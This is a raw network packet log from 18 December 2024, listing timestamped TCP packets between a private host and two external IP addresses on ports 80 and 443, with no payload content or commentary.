Dec 18, 2024 19:08:23.363922119 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.364770889 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.364902020 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.364938974 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.364938974 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.366266012 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.366318941 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.366446018 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.366539001 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.367269993 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.367496967 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.367525101 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.367697954 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.368179083 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.368243933 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.368383884 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.369369984 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.369424105 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.369461060 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.370373964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.370431900 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.506162882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.506289005 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.506463051 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.506463051 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.506688118 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.506700993 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.506763935 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.507992029 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.508079052 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.508304119 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.509224892 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.509342909 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.509356022 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.510590076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.510643005 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.510668993 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.511610985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.511719942 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.511893988 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.511985064 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.512896061 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.513220072 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.513431072 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.513948917 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.514005899 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.514055014 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.514764071 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.514838934 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.514853001 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.515945911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.516102076 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.516119957 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.516242981 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.516992092 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.517122030 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.517179012 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.518237114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.518359900 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.518425941 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.519057989 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:23.519136906 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:23.519205093 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:23.519524097 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.519587994 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.519622087 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.519844055 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.520979881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.521121979 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.521225929 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.521323919 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:23.521341085 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:23.521353006 CET	49721	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:23.521368980 CET	443	49721	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:23.522512913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.522588015 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.522706985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.523678064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.523760080 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.523761988 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.524251938 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.524596930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.524739027 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.524792910 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.525928974 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.526103973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.526164055 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.526845932 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.527195930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.527333021 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.528069019 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.528368950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.529050112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.529062986 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.529125929 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.529186964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.530219078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.530469894 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.530548096 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.531300068 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:23.531321049 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.531341076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.531407118 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:23.531491041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.531502962 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:23.531512976 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.531562090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.531905890 CET	49724	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:23.531945944 CET	443	49724	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:23.532294989 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.532403946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.532474995 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.533444881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.533509016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.533673048 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.533673048 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.534218073 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.534297943 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.534318924 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.535180092 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.535341024 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.535377026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.536269903 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.536391020 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.537065983 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.537174940 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.537476063 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.537636995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.537774086 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.538671970 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.539035082 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.539163113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.539736032 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.540122032 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.540184975 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.541017056 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.541028976 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.541098118 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.542215109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.542376041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.542437077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.543431044 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.543554068 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.543556929 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.544272900 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.544497013 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.544584990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.544653893 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.545561075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.545720100 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.546044111 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.546155930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.546631098 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.546911955 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.546996117 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.547719002 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.547931910 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.547997952 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.549163103 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.549415112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.549474955 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.550580978 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.550648928 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.550728083 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.551572084 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.551714897 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.551734924 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.551781893 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.552532911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.552766085 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.552830935 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.553617954 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.553755045 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.553860903 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.554707050 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.554862022 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.554939985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.554994106 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.555819988 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.555875063 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.555917025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.556046009 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.556883097 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.556962013 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.557174921 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.557244062 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.558031082 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.558147907 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.558218956 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.558276892 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.559104919 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.559182882 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.559451103 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.559490919 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.560228109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.560275078 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.560600996 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.560695887 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.561429024 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.561570883 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.562043905 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.562107086 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.562338114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.562392950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.562438011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.562521935 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.563390017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.563441038 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.564049006 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.564101934 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.564369917 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.564446926 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.565429926 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.565551996 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.565603971 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.565656900 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.697953939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.698035955 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.698050976 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.698095083 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.698164940 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.698256969 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.698312998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.698375940 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.699397087 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.699491978 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.699512005 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.699611902 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.700433016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.700525045 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.700737000 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.700789928 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.701265097 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.701323986 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.702419043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.702481031 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.706398964 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.706410885 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.706422091 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.706434011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.706459045 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.706492901 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.707173109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.707185984 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.707226038 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.708168030 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.708220005 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.708494902 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.708571911 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.709415913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.709476948 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.709883928 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.709934950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.710345984 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.710357904 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.710642099 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.711604118 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.711697102 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.711911917 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.712112904 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.712865114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.712994099 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.713042974 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.713136911 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.713984013 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.714060068 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.714494944 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.714550972 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.715181112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.715229988 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.715353966 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.715555906 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.716259956 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.716376066 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.716427088 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.716485023 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.717391014 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.717458010 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.717550993 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.717653036 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.718379021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.718457937 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.718533039 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.718625069 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.719433069 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.719450951 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.719465017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.719475985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.719489098 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.719513893 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.719513893 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.719536066 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.720423937 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.720472097 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.720540047 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.720556021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.720629930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.720629930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.721556902 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.721606970 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.722677946 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.722695112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.722743988 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.722743988 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.722907066 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.722970009 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.723869085 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.723954916 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.724168062 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.724225044 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.725038052 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.725049973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.725157976 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.725157976 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.726247072 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.726332903 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.727420092 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.727432013 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.727478981 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.727478981 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.727817059 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.727905035 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.728645086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.728732109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.728750944 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.728781939 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.729589939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.729675055 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.730489016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.730535030 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.730654955 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.730665922 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.730710983 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.731713057 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.731755972 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.733110905 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.733198881 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.733207941 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.733223915 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.733261108 CET	49723	80	192.168.2.5	31.41.244.11
